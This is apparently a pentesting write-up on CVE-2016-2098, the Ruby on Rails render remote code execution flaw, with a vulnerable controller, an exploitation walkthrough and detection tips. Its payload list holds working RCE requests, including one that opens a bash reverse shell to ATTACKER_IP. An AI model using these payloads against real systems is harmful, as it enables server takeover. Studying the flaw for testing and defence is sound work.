Skip to main content

CVE-2016-2098: Ruby on Rails render Method RCE

CVE-2016-2098 is a remote code execution vulnerability in Ruby on Rails applications that call render on user-controlled input. The vulnerability arises because the render method supports multiple rendering modes, including inline Ruby templates, which can be abused if input is not strictly validated.

When a Rails controller renders user-supplied data directly, an attacker can inject inline Ruby code that gets evaluated on the server.


Root Cause​

The vulnerability is caused by calling render with untrusted parameters, allowing attackers to control the rendering mode.

class TestController < ApplicationController
def show
render params[:id]
end
end

Rails developers typically expect params[:id] to be a string, but Rails automatically parses request parameters into arrays and hashes.

Because render accepts a Hash, attackers can force Rails to interpret the input as an inline template instead of a template name.

Why This Is Dangerous​

The render method supports:

  • render :template
  • render :plain
  • render :inline ← dangerous
  • render :file

If an attacker controls the render arguments, they can force Rails to execute arbitrary Ruby code via inline templates.


Exploitation​

Rails allows hash-style parameters in requests:

id[inline]=<ruby_code>

This transforms params[:id] into a Hash:

{ "inline" => "<ruby_code>" }

Rails interprets this as:

render inline: "<ruby_code>"

Which executes the Ruby code on the server.

Payloads​

GET /test/show?id[inline]=<%= `id` %>
GET /test/show?id[inline]=%3C%25=%20%25x(id)%20%25%3E
GET /test/show?id[inline]=<%= system("bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'") %>
GET /test/show?id[inline]=%3C%25%3D%20system(%22id%22)%20%25%3E

Detection Tips for Pentesting​

  • Look for render params[...]

  • Test parameters as arrays and hashes

  • Try:

    param[test]=123
    param[inline]=test
  • Inspect Rails error messages for rendering behavior